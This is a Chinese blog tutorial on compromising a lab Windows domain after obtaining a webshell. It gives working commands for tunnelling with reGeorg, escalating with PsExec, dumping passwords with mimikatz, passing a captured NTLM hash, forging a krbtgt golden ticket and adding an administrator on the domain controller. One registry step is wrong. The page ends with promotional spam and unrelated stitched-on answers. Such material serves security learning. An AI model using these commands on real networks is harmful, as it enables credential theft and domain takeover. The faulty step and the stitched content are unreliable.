渗透测试之内网渗透学习,超详细

0x01 基础知识

内网渗透,从字面上理解便是对目标服务器所在内网进行渗透并最终获取域控权限的一种渗透。内网渗透的前提需要获取一个 Webshell,可以是低权限的 Webshell,因为可以通过提权获取高权限。

在进行内网渗透之前需要了解一个概念,域环境。在内网中,往往可能存在几百上千台机器,例如需要对机器进行升级、打补丁、设置权限等,管理员不可能一台一台地更新修改。因此便衍生出了域环境。管理员以一台主机作为域控制器新建一个域,将所有其他主机加入域中,以域控来操作其他主机。因为域控的高权限,导致了域控所在的主机的管理员账号密码,可以登录任意一台主机,所以内网渗透的最终目标,往往便是拿下域控的权限。

首先通过提权获取一个具有管理员权限的账号密码 hacker/1234,abcd。具体提权过程就不细说了。下面将利用获取的这个具有管理员权限的账号密码正式开始内网渗透实践。

0x02 内网穿透

在渗透测试过程中,我们拿下了一台服务器的权限,并且通过 netstat -ano 发现开启了 3389 端口,想要远程桌面连接的时候发现无法连接。这是因为我们获取的服务器所处的环境为内网,而内网主机的 3389 端口,是公网 IP 通过端口映射的。也就是说,我们连接的外网 IP 地址的 3389 端口,映射到内网中,不一定是那台服务器的 3389 端口。解决这种问题的方法有两种:1、让目标机器去连接外网主机(必须有一台公网服务器,内网主机能够访问互联网)2、在目标机器上设置一个信号站(放一个 WEB 文件在目标机器上,所有流量都经过这个文件通信)在渗透测试过程中,内网主机不能够访问互联网是很常见的,下面通过方法 2 进行内网穿透。

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
一、具体流程

1、首先需要一款工具 regeorg 来建立一个信号站。

2、这里以 PHP 站点为例,将 tunnel.nosocket.php 文件通过之前获取的 Webshell 上传到站点,尝试使用 web 端访问确定文件存在。

3、以 python 环境运行 reGeorgSocksProxy.py 脚本,将从本机的 3344 端口经过的数据都发送给目标机器的 tunnel.nosocket.php 文件。

`python reGeorgSocksProxy.py -l 127.0.0.1 -p 3344 -u http://192.168.229.151/tunnel.nosocket.php`

4、使用工具 proxifier,设置远程桌面软件 mstsc.exe 的数据包从本地的 3344 端口出网。

5、成功进行内网穿透,通过远程桌面连接到目标主机。

其他内网穿透方法还有 Frp、Ew、nps 等,都是一些可以穿透的工具,原理为搭建一条直通内网的隧道,这里就不详细介绍了。

0x03 内网信息收集

1、使用 PsExec.exe 获取 SYSTEM 权限进行内网信息收集需要具有一定的权限,所以先进行提权获取 SYSTEM 权限。

`PsExec.exe -s -i -d cmd`

2、获取所有域用户列表使用 net user /domain 命令获取内网的域为 ajie.cool,域中具有 Administrator、Guest、krbtgt、web 用户。

3、获取域用户组信息使用 net group /domain 命令获取域用户组信息。

4、获取域管理员列表使用 net group “domain admins” /domain 命令获取域管理员列表,域管账户只有 Administrator。

5、获取域服务器的 IP 地址通过 ping 域名称来获取域服务器的 IP 地址。(也可以通过查看 dns 服务器的 IP 地址,结合进行判断域服务器的 IP 地址。)

6、安装 Nmap 进行扫描前面介绍了 Nmap 工具,在内网渗透过程中也可以通过 Nmap 获取内网信息。1)首先通过 Webshell 上传 Nmap 的安装包。

2)远程连接目标服务器并安装 Nmap 进行内网信息收集。

7、内网主机存活探测因为动静比较大,也可以通过 nbtscan 工具进行。因为相对于 Nmap 的大规模扫描行为,nbtscan 基于 NetBios 进行探测,即是相当于 windows 打开我的电脑中的网络一样,被发现的几率相对低一些。

0x04 Hash 读取

此处 Hash 读取通过工具 mimikatz 来进行,mimikatz 是由本杰明·德尔皮创建开发的一个能够从内存中读取 hash 账号密码的工具,也可以说是内网渗透中的神器。

下面介绍如何通过 mimikatz 工具读取服务器内存中存储的 hash 密码。1、首先以管理员权限打开 mimikatz。

2、使用 privilege::debug 提升权限。

3、使用 sekurlsa::logonpasswords 读取到内存中的管理者账号的明文密码和本机的 web 用户的密码。

4、远程桌面登录管理员账号。

0x05 Hash 传递

一、基础知识

上面介绍了如何进行 Hash 读取,如果域控管理员使用自己的域控账号登录了服务器,那么就可以抓取到域控的账号和密码了。这样的危害性是巨大的,所以在渗透测试过程中,内网的机器往往会打 KB2871997 补丁,并且修改注册表关闭 Wdigest Auth。这样抓取的就不是明文密码了。虽然还是能够获取密文 Hash,但是密文 Hash 往往不可逆,解开需要花费大量精力。在域环境下,检测密码不是先将 Hash 解密再验证是否正确的。在验证输入的账号密码是否正确的时候,是通过验证 Hash 是否相同来进行校验的。也就是说,或许我们可以通过获取的 Hash 来伪造管理员账号密码登录,也就是 Hash 传递,又叫 PTH,通过将获取的 NTLM 密文传递到验证登录的机器,绕过正常验证进行登录系统。

二、Wdigest

注册表中的 Wdigest 功能关系着内存中是否有明文密码,通过查看注册表键值,可以判断 Wdigest 功能状态。如果该项值为“1”则为开启,即可以获取明文密码,如果该项值为“0”,则明文密码不会出现在内存中。开启和关闭 Wdigest Auth 命令如下:(1)开启 Wdigest Auth

`reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f`

(2)关闭 Wdigest Auth

`reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f`

三、IPC$

1、概念

IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

`IPC$的使用条件:``开放了139、445端口;``目标开启IPC$文件共享;``获取用户账号密码。`

在内网中,默认就会开启 IPC$共享文件服务,默认会将 C 盘共享出来,也就是说,我们可以通过 IPC 获取目标 C 盘的权限。

2、IPC$常用命令

3、IPC$命令执行

1、通过 at 命令制定计划进行命令执行。

`at \\192.168.1.1 11:15am cmd /c "whoami"`

2、通过 at 命令制定计划进行多层代理的命令执行

`at \\192.168.100.1 11:15am cmd /c "net use \\192.168.200.1\ipc$ 密码 /user:账号"`
`at \\192.168.100.1 11:15am cmd /c "at \\192.168.100.1 11:15am cmd /c "whoami" "````

四、Hash 传递实战演示

1、首先尝试抓取密码发现获取的全部都是密文。

2、这里虽然没有获取到明文密码,但是获取了域管理员用户的 NTLM。

3、提权到 SYSTEM 权限,执行 net user /domain,获取域管所在的主机地址。

4、尝试使用 ipc$读取域管的 c 盘目录,显示拒绝访问。

5、通过 mimikatz 工具进行 Hash 传递。

`sekurlsa::pth /user:administrator /domain:"ajie.cool" /ntlm:f1de694efa543bb780da59c049541ea3`

6、执行完之后会弹出一个命令提示符,执行 dir \AD.ajie.cool\c$成功无需账号密码获取了域控机器的 c 盘的权限,列出了 c 盘的文件。

7、在通过 PTH 弹出的命令提示符中通过…/跳转到 PsExec.exe 文件所在目录,执行命令提权获取一个域控机器的 cmd 命令提示符。

8、执行 ipconfig 可以看到是域控所在机器的 IP 地址,成功拿到域控所在机器的权限。

9、在域控中新建用户并加到管理员组。

10、以新创建的用户远程桌面登录域控,发现无法连接远程桌面服务。

11、通过 reg 命令查询注册表,查看远程桌面服务发现返回 0x01,说明远程桌面服务没有开启。(开启则返回 0x00)

`REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections`

12、通过拿到的域控的命令提示符来执行修改注册表操作,打开远程服务功能。

`REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f`

13、以新建的 hackerend 用户远程桌面登录域控。

0x06 黄金票据

一、基础知识

前面了解到在域环境中,域控的账号密码可以登录域内任意一台主机,那么主机是如何检测域控账号密码是否正确的呢?检验账号密码可以有两种方法,询问域控或者设置一个专门检测账号密码是否正确的第三方中心。在域中便使用到了第三方中心来检验输入的账号密码是否相同。这种第三方中心叫 KDC 密钥分发中心。(以下内容涉及内网的 kerboros 协议,小弟学业不精,就简单说一下了。)

二、KDC 密钥分发中心

KDC(kerberos Distribution Center)密钥分发中心,维护所有账户的名称和 Master Key(key 的 hash code)。

提供:AS 认证服务、TGS 票据授予服务。

1、AS

授权服务(Authorization Server),对于上面的流程 1,提供初始授权认证,用户表明需求并使用密码对请求进行加密,AS 用提供的密码对请求进行解密后得到的请求内容,返回给用户一个 TGT(票据授权票据 ticket granting tickets)(用一个密码加密)。

2、TGS

用户得到 TGT 之后使用 TGT 去访问 TGS(票据授权中心 Ticket Granting Server),

TGS 验证 TGT 后(使用密钥解密),返回一个 Ticket 给用户;用户得到 Ticket 后去访问 Server,Server 收到 Ticket 和 KDC 进行验证,通过后提供服务。

3、票据

在内网渗透中,票据分为白银票据和黄金票据。分别对应域普通用户的票据和域管理员的票据。票据就是 Kerberos 认证协议的 Ticket,因为已经经过了 AS 和 TGS 的校验,所以获取了票据之后,可以任意登录目标主机。

在查询域内用户的时候,总会看到一个用户叫 krbtgt,如图 5-37 所示。krbtgt 账户其实就是 KDC 秘钥分发中心用的超管账户。我们拿着 krbtgt 账户的票据,去访问域内机器,目标主机会认为我们是 KDC 秘钥分发中心,所以直接给了最高的权限允许我们访问。一般管理员会修改域控账号的密码,但是很少有管理员会修改 Krbtgt 的密码。在内网渗透的最后阶段,我们需要通过获取黄金票据进行权限维持,那么下面将介绍如何获取 krbtgt 账户的黄金票据。

三、实战演示

1、首先通过远程桌面将 mimikatz.exe 和 PsExec.exe 上传到域控主机。

2、通过 PsExec 提权为 SYSTEM,然后执行 mimikatz,输入命令 lsadump::dcsync /user:krbtgt 获取 krbtgt 的 hash 值。

3、这里制作黄金票据需要的数据为:

`Object Security ID   : S-1-5-21-3296092892-1320626564-2720975204Hash NTLM: 31edc56a2302a25a2e9bee5f04abd659`

原 Object Security ID 最后面有个-502 是作为标识的,在制作时需要手动删除。

4、退出远程桌面,在攻击机通过 mimikatz 制作黄金票据。执行命令后会生成一个 AD.kiribi 文件。

`kerberos::golden /admin:administrator /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi`

5、制作完票据之后,先尝试获取域控的 c 盘的权限发现拒绝访问。

6、通过 kerberos::purge 清空票据缓存;kerberos::list 列出票据显示为空,说明清空了所以票据。

7、通过 kerberos::ptt administrator.kiribi 加载生成的票据。

8、成功无密码获取域控 c 盘权限,后面进一步提权与 Hash 传递处相仿,就不做演示了。

0x07 总结

以上便是我学习的简单地从外网获取 shell,经过提权或不提权直接进行内网渗透的一个简单过程,其中涉及一些概念问题没有说的很明白,希望表哥们提点提点。以上仅为个人学习过程,可能知识点过于简单,望理解。

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享🎁

😝朋友们如果有需要全套《黑客&网络安全入门&进阶学习资源包》,可以扫描下方二维码免费领取

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

img

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

img

因篇幅有限,仅展示部分资料

2️⃣视频配套资料&国内外网安书籍、文档

① 文档和书籍资料

img

② 黑客技术

img

因篇幅有限,仅展示部分资料

3️⃣网络安全源码合集+工具包

img

4️⃣网络安全面试题

面试题
上述所有资料 ⚡️ ,朋友们如果有需要全套 📦《网络安全入门+进阶学习资源包》,可以扫描下方二维码免费领取 🆓

  • 3
    点赞
  • 45
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: Web渗透测试系统源码是指一套用于测试Web应用程序安全的自动化系统的源代码。该系统通常由多个软件模块组成,其中包括扫描引擎、漏洞利用程序、Web代理以及其他相关应用程序。 Web渗透测试系统源码的主要功能是对Web应用程序进行设计、分析和评估,以寻找其中的安全漏洞并提供修复建议。这种系统的开发需要对Web应用程序的工作原理和漏洞的类型及攻击方式有深入的了解,同时还需要掌握编程技能以实现对漏洞的扫描、分析和利用。 Web渗透测试系统源码的使用可分为以下步骤:首先是进行目标选择并确定测试策略,接着进行目标扫描以发现漏洞,然后对发现的漏洞进行深入分析并确定是否可利用,最终提供测试报告和建议。在实际操作中,测试人员需要结合手动测试和自动化测试进行,以提高测试的覆盖范围和准确性。 Web渗透测试系统源码的开发和使用阶段都需要严格遵守相关的法律规定和社会伦理准则,以确保测试行为的合法性和安全性。同时还需要进行不断的更新和优化,以应对新型攻击和漏洞的挑战,确保Web应用程序的安全性和稳定性。 ### 回答2: Web渗透测试系统是一个用于测试Web应用程序安全性的软件。其源码通常包括前端和后端两部分。前端部分负责展示用户交互界面,后端部分主要负责处理数据和执行测试逻辑。 Web渗透测试系统源码的编写需要掌握一定的编程基础,熟悉Web开发及安全相关知识。前端部分可以使用常见的Web开发框架(如React、Vue.js等)进行开发,同时需要考虑用户交互体验和界面设计。后端部分则需要选择适合的编程语言和框架(如Python的Django、Flask等),以及相关的数据库和缓存技术(如MySQL、Redis等)来实现数据管理和处理逻辑。 在开发Web渗透测试系统的源码时,需要注意安全性的考虑,避免开发过程中的安全漏洞。对于系统的用户认证、权限控制、数据加密等重要功能,需要仔细考虑和实现,以确保系统的安全性和可靠性。 最后,开发Web渗透测试系统的源码不仅需要技术实力,还需要具备良好的沟通、团队协作和项目管理能力,以确保项目按时交付和质量保证。 ### 回答3: Web渗透测试系统是指用于测试网站及其应用程序在真实环境下的安全性的软件系统。Web渗透测试系统的源代码可以帮助开发人员了解系统的工作流程,及其内部的算法和技术,从而更好地定制和调整系统以满足特定的需求。 Web渗透测试系统的源代码包括了不同的功能模块,如爬虫、扫描器、漏洞利用工具、报告生成程序等。这些模块被组合在一起,形成一个完整的系统,可以用于发现Web应用中的漏洞并提供解决方案。 Web渗透测试系统的源代码包含许多技术,如漏洞扫描、注入攻击、跨站点脚本和请求伪造等。通过研究这些技术,开发者可以更加深入地了解Web安全的相关概念和实践。 另外,使用Web渗透测试系统源代码来开发自己的测试工具,可以帮助开发人员更好地理解底层技术,从而在实际工作中更好地发现并修复Web漏洞。 总之,Web渗透测试系统源代码对于Web应用开发人员和安全测试人员来说都是一种宝贵的学习和实践资源。通过深入研究源代码,可以提升开发和测试技能,加强Web应用的安全性。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值